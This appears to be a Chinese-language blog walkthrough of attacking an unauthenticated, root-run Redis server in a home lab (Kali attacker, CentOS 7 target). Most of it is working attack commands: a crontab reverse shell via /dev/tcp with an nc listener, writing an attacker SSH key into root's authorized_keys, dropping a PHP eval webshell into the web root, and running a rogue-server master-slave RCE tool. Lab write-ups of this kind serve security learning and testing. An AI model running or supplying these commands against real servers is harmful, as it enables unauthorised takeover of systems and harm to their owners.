Redis服务入侵记

0x00 简要说明

百度百科:Redis(Remote Dictionary Server),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis因配置不当可导致攻击者直接获取到服务器的权限。
利用条件:redis以root身份运行,未授权访问,弱口令或者口令泄露等

环境准备:

测试环境IP
Kali192.168.31.56
靶机(CentOS 7)192.168.31.54

0x01 CentOS 7安装Redis

# 安装gcc
[root@localhost ~]# yum install -y gcc
# 下载解压redis安装包
[root@localhost ~]# wget http://download.redis.io/releases/redis-5.0.0.tar.gz
[root@localhost ~]# tar xvf redis-5.0.0.tar.gz
# 编译并执行安装,指定安装目录为/usr/local/redis
[root@localhost ~]# cd redis-5.0.0/
[root@localhost redis-5.0.0]#  make && make install PREFIX=/usr/local/redis
# 启动redis服务并保持后台运行
[root@localhost redis-5.0.0]#  cd /usr/local/redis/bin/
[root@localhost bin]# ./redis-server &
# 关闭保护模式
[root@localhost bin]# ./redis-cli 
127.0.0.1:6379> config set protected-mode no

0x02 通过计划任务反弹shell

利用条件:
redis以root身份运行,未授权访问或授权口令已知
在kali中通过redis-cli -h 192.168.31.54 -p 6379连接到redis,输入以下指令利用crontab反弹shell

# cron表达式格式:{秒数} {分钟} {小时} {日期} {月份} {星期} {年份(可为空)} 命令
# 每分钟执行一次echo "haha":* * * * * echo "haha"
192.168.31.54:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.31.56/4444 0>&1\n"
# 设置目录为/var/spool/cron/
192.168.31.54:6379> config set dir /var/spool/cron/
# 设置文件名为root
192.168.31.54:6379> config set dbfilename root
# 保存快照到本地
192.168.31.54:6379> save

kali中打开一个新的命令行窗口执行nc -lvnp 4444进行监听,过一会儿就能接收到反弹回来的shell:

由于redis的压缩储存机制,在某些情况下会因为反弹shell的指令被压缩,从而导致反弹shell失败:

192.168.31.54:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.31.56/4444 0>&1\n"
192.168.31.54:6379> save

[root@localhost  ~]# cat /var/spool/cron/root 
* * * * * bash -i &> /dev/tcp/192.168.31.54@/4  0>&1

192.168.31.54:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.31.56/4444 0>&1\n"
192.168.31.54:6379> save

[root@localhost  ~]# cat /var/spool/cron/root 
* * * * * bash -i &> /dev/tcp/192.168.100.99/4444 0>&1

当运行redis的用户为普通用户时,会无法出现切换目录失败的情况:

config set dir /var/spool/cron
(error) ERR Changing directory: Permission denied

0x03 通过写入SSH公钥远程连接

利用条件:
redis以root身份运行,未授权访问或授权口令已知,服务器开放SSH服务且允许密钥登录

在kali中使用ssh-keygen -t rsa生成密钥:

将生成的公钥文件保存到本地:

┌──(kali@kali)-[/home/kali]
└─# (echo -e "\n\n"; cat /home/kali/.ssh/id_rsa.pub; echo -e "\n\n") > kali

将文件写入redis进行利用:

# 将上一步生成的kali文件写入redis并设置键的值为kali
┌──(kali@kali)-[/home/kali]
└─# cat kali | redis-cli -h 192.168.31.54 -p 6379 -x set kali

# 连接redis,并将公钥文件写入/root/.ssh/authorized_keys中
┌──(kali@kali)-[/home/kali]
└─# redis-cli -h 192.168.31.54 -p 6379
192.168.31.54:6379> config set dir /root/.ssh/
192.168.31.54:6379> config set dbfilename authorized_keys
192.168.31.54:6379> save

使用密钥进行登录 

┌──(kali@kali)-[/home/kali]
└─# ssh -i /root/.ssh/id_rsa root@192.168.31.54

 0x04 通过写入文件获取webshell

利用条件:未授权访问或授权口令已知,服务器开着WEB服务且WEB目录路径已知
倘若服务器运行着LAMP/LNMP服务,且已知工作目录为/var/www/html/,可通过以下指令写入webshell,或参考写入SSH公钥的过程写入木马文件:

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save

0x05 通过主从复制获取shell

利用条件:
未授权访问或授权口令已知,Redis <=5.0.5
参考地址:https://github.com/n0b0dyCN/redis-rogue-server
使用方法

python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

参数说明:

 –rpasswd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码
–rhost 目标redis服务IP
–rport 目标redis服务端口,默认为6379
–lhost vps的IP地址
–lport vps的端口,默认为21000

┌──(kali@kali)-[/home/kali]
└─# git clone //github.com/n0b0dyCN/redis-rogue-server.git

┌──(kali@kali)-[/home/kali]
└─# cd redis-rogue-server

┌──(kali@kali)-[/home/kali]
└─# python3 redis-rogue-server.py --rhost 192.168.31.54 --lhost 192.168.31.56

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kim同学

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值